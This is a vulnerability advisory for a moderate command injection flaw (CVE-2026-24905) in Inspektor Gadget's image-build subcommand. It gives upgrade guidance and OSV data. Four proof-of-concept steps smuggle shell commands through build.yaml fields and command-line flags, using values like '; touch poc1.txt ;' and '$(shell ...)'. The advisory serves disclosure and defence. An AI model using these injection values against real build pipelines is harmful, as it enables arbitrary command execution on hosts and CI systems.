CVE-2026-24905: Inspektor Gadget Command Injection Vulnerability

MODERATE
Advisory Identifier: GHSA-79qw-g77v-2vfh
CWE-78 CWE-77
Published
Advisory Summary

CVE-2026-24905 is a MODERATE command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Inspektor Gadget libraries in the Go ecosystem. The issue involves command injection via malicious buildoptions manipulation. Remediation is available by upgrading affected packages to version 0.51.1.

CVE-2026-24905 at a Glance

CVE Identifier CVE-2026-24905
GHSA Identifier GHSA-79qw-g77v-2vfh
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Inspektor Gadget
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-24905

To remediate this vulnerability, upgrade all affected Inspektor Gadget dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/inspektor-gadget/inspektor-gadget fixed: 0.51.1
Upgrade github.com/inspektor-gadget/inspektor-gadget to 0.51.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/inspektor-gadget/inspektor-gadget

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-24905, inspect your project dependencies for Inspektor Gadget:

inspect dependencies for github.com/inspektor-gadget/inspektor-gadget

Analyze the terminal output to locate any version of Inspektor Gadget in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.51.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Inspektor Gadget, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impacted Resources `inspektor-gadget/cmd/common/image/build.go` `inspektor-gadget/cmd/common/image/helpers/Makefile.build` ### Description The `ig` binary provides a subcommand for image building, used to generate custom gadget OCI images. A part of this functionality is implemented in the file `inspektor-gadget/cmd/common/image/build.go`. The following is the code responsible to construct the build command: ```go func buildCmd(options buildOptions) []string { cmd := []string{ "make", "-f", filepath.Join(options.outputDir, "Makefile.build"), "-j", fmt.Sprintf("%d", runtime.NumCPU()), "OUTPUTDIR=" + options.outputDir, "CFLAGS=" + options.cFlags, "FORCE_COLORS=" + options.forceColorsFlag, } if options.ebpfSourcePath != "" { cmd = append(cmd, "EBPFSOURCE="+options.ebpfSourcePath, "ebpf") } if options.wasmSourcePath != "" { cmd = append(cmd, "WASM="+options.wasmSourcePath, "wasm") } if options.btfgen { cmd = append(cmd, "BTFHUB_ARCHIVE="+options.btfHubArchivePath, "btfgen") } return cmd } ``` The `Makefile.build` file is the Makefile template employed during the building process. This file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile. This implementation is vulnerable to command injection: an attacker able to control values in the `buildOptions` structure would be able to execute arbitrary commands during the building process. ### Impact An attacker able to exploit this vulnerability would be able to execute arbitray command: - on the Linux host where the `ig` command is launched, if images are built with the `--local` flag - on the build container invoked by `ig`, if the `--local` flag is not provided ### Attack Complexity The `buildOptions` structure is extracted from the YAML [gadget manifest](https://inspektor-gadget.io/docs/latest/gadget-devel/building#customizing-your-build) passed to the `ig image build` command. Therefore, the attacker would need a way to control either the full `build.yml` file passed to the `ig image build` command, or one of its options. Typically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness. ### PoC #### PoC 1 (Vector: cflags) 1. Create the file `build.yaml` with the following content: ``` ebpfsource: "program.bpf.c" metadata: "gadget.yaml" cflags: " ; touch poc1.txt ; " ``` 2. Create the file `gadget.yaml` with the following content: ``` name: test description: test gadget ``` 3. Create the file `program.bpf.c` with the following content: ``` #include <gadget/gadget.h> char LICENSE[] SEC("license") = "GPL"; ``` 4. In the same directory where the files are run the command: ``` ig image build . -t test:latest ``` 5. Notice that the file `poc1.txt` gets created inside the directory. #### PoC2 (Vector: ebpfsource, wasm) 1. Create the file `build.yaml` with the following content: ``` ebpfsource: "$(shell touch poc2-1.txt)" wasm: "$(shell touch poc2-2.txt)" ``` 2. Create the file `$(shell touch poc2-1.txt)`: ``` touch '$(shell touch poc2-1.txt)' ``` 3. In the same directory where the files are run the command: ``` ig image build . ``` 4. Notice that the files `poc2-1.txt` and `poc2-2.txt` get created inside the directory. #### PoC3 (Vector: -o, --output) 1. Create the file `build.yaml` with the following content: ``` wasm: dummy.go ``` 2. Create the file `gadget.yaml` with the following content: ``` name: test ``` 3. Create the directory `$(shell touch poc3.txt)`: ``` touch '$(shell touch poc3.txt)' ``` 4. Retrieve the full path of the created directory: ``` readlink -f '$(shell touch poc3.txt)' ``` 5. In the same directory where the files are run the command replacing the `<PATH>` placeholder with the value retrieved at step 4: ``` ig image build . --local -o '<PATH>' ``` 6. Notice that the file `poc3.txt` gets created inside the directory. #### PoC4 (Vector: --btfhub-archive) 1. Create the file `build.yaml` with the following content: ``` ebpfsource: test.c ``` 2. Create the file `test.c`: ``` touch test.c ``` 3. In the same directory where the files are run the command ``` sudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)' ``` 4. Notice that the file `poc4.txt` gets created inside the directory. ### Suggested Remediation Sanitize build options by providing a robust whitelist to filter on. Alternatively, revisit the design of image building to prevent shell substitution. ### References - https://cwe.mitre.org/data/definitions/77.html - https://cwe.mitre.org/data/definitions/78.html

CVE-2026-24905 Affected Inspektor Gadget Versions

1 component(s)
Fixed Versions:
0.51.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/inspektor-gadget/inspektor-gadget
Go
< 0.51.1
0.51.1

References

Frequently Asked Questions

What is CVE-2026-24905?
CVE-2026-24905 is a security vulnerability in Inspektor Gadget involving Command Injection via malicious buildOptions manipulation under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Inspektor Gadget versions are affected?
Affected versions include releases prior to 0.51.1 across affected packages: github.com/inspektor-gadget/inspektor-gadget.
What version fixes CVE-2026-24905?
Upgrading to 0.51.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/inspektor-gadget/inspektor-gadget affected?
Yes, github.com/inspektor-gadget/inspektor-gadget is affected in releases prior to 0.51.1. Upgrade your dependency to 0.51.1 or later.
What CWE is associated with CVE-2026-24905?
CVE-2026-24905 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2026-24905?
Run the dependency tree command: 'inspect dependencies for github.com/inspektor-gadget/inspektor-gadget'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-79qw-g77v-2vfh",
  "modified" : "2026-04-30T19:21:16Z",
  "published" : "2026-04-22T17:44:22Z",
  "aliases" : [ "CVE-2026-24905" ],
  "summary" : "Inspektor Gadget: Command Injection via malicious buildOptions manipulation",
  "details" : "### Impacted Resources\n\n`inspektor-gadget/cmd/common/image/build.go`\n`inspektor-gadget/cmd/common/image/helpers/Makefile.build`\n\n### Description\n\nThe `ig` binary provides a subcommand for image building, used to generate custom gadget OCI images.\n\nA part of this functionality is implemented in the file `inspektor-gadget/cmd/common/image/build.go`.\n\nThe following is the code responsible to construct the build command:\n```go\nfunc buildCmd(options buildOptions) []string {\n\tcmd := []string{\n\t\t\"make\", \"-f\", filepath.Join(options.outputDir, \"Makefile.build\"),\n\t\t\"-j\", fmt.Sprintf(\"%d\", runtime.NumCPU()),\n\t\t\"OUTPUTDIR=\" + options.outputDir,\n\t\t\"CFLAGS=\" + options.cFlags,\n\t\t\"FORCE_COLORS=\" + options.forceColorsFlag,\n\t}\n\n\tif options.ebpfSourcePath != \"\" {\n\t\tcmd = append(cmd, \"EBPFSOURCE=\"+options.ebpfSourcePath, \"ebpf\")\n\t}\n\tif options.wasmSourcePath != \"\" {\n\t\tcmd = append(cmd, \"WASM=\"+options.wasmSourcePath, \"wasm\")\n\t}\n\tif options.btfgen {\n\t\tcmd = append(cmd, \"BTFHUB_ARCHIVE=\"+options.btfHubArchivePath, \"btfgen\")\n\t}\n\n\treturn cmd\n}\n```\n\nThe `Makefile.build` file is the Makefile template employed during the building process.\n\nThis file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.\n\nThis implementation is vulnerable to command injection: an attacker able to control values in the `buildOptions` structure would be able to execute arbitrary commands during the building process.\n\n\n### Impact\n\nAn attacker able to exploit this vulnerability would be able to execute arbitray command: \n- on the Linux host where the `ig` command is launched, if images are built with the `--local` flag\n- on the build container invoked by `ig`, if the `--local` flag is not provided\n\n### Attack Complexity\n\nThe `buildOptions` structure is extracted from the YAML [gadget manifest](https://inspektor-gadget.io/docs/latest/gadget-devel/building#customizing-your-build) passed to the `ig image build` command. Therefore, the attacker would need a way to control either the full `build.yml` file passed to the `ig image build` command, or one of its options.\n\nTypically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.\n\n### PoC\n\n#### PoC 1  (Vector: cflags)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: \"program.bpf.c\"  \nmetadata: \"gadget.yaml\"  \ncflags: \" ; touch poc1.txt ; \"\n```\n2. Create the file `gadget.yaml` with the following content:\n```\nname: test  \ndescription: test gadget  \n```\n3. Create the file `program.bpf.c` with the following content:\n```\n#include <gadget/gadget.h>  \nchar LICENSE[] SEC(\"license\") = \"GPL\";\n```\n4. In the same directory where the files are run the command:\n```\nig image build . -t test:latest\n```\n5. Notice that the file `poc1.txt` gets created inside the directory.\n\n#### PoC2 (Vector: ebpfsource, wasm)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: \"$(shell touch poc2-1.txt)\"\nwasm: \"$(shell touch poc2-2.txt)\"\n```\n2. Create the file `$(shell touch poc2-1.txt)`:\n```\ntouch '$(shell touch poc2-1.txt)'\n```\n3. In the same directory where the files are run the command:\n```\nig image build .\n```\n4. Notice that the files `poc2-1.txt` and `poc2-2.txt` get created inside the directory.\n\n#### PoC3 (Vector: -o, --output)\n\n1. Create the file `build.yaml` with the following content:\n```\nwasm: dummy.go\n```\n2. Create the file `gadget.yaml` with the following content:\n```\nname: test\n```\n3. Create the directory `$(shell touch poc3.txt)`:\n```\ntouch '$(shell touch poc3.txt)'\n```\n4. Retrieve the full path of the created directory:\n```\nreadlink -f '$(shell touch poc3.txt)'\n```\n5. In the same directory where the files are run the command replacing the `<PATH>` placeholder with the value retrieved at step 4:\n```\nig image build . --local -o '<PATH>'\n```\n6. Notice that the file `poc3.txt` gets created inside the directory.\n\n#### PoC4 (Vector: --btfhub-archive)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: test.c\n```\n2. Create the file `test.c`:\n```\ntouch test.c\n```\n3. In the same directory where the files are run the command\n```\nsudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)'\n```\n4. Notice that the file `poc4.txt` gets created inside the directory.\n\n### Suggested Remediation\n\nSanitize build options by providing a robust whitelist to filter on.\nAlternatively, revisit the design of image building to prevent shell substitution.\n\n### References\n\n- https://cwe.mitre.org/data/definitions/77.html\n- https://cwe.mitre.org/data/definitions/78.html",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/inspektor-gadget/inspektor-gadget"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.51.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-79qw-g77v-2vfh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-24905"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/inspektor-gadget/inspektor-gadget/commit/7c83ad84ff7a68565655253e2cf1c5d2da695c1a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/inspektor-gadget/inspektor-gadget/commit/d9bf2fe4a180dad33ce57ca793ff4799ee7b8320"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/inspektor-gadget/inspektor-gadget"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77", "CWE-78" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T17:44:22Z",
    "nvd_published_at" : "2026-01-29T22:15:55Z"
  }
}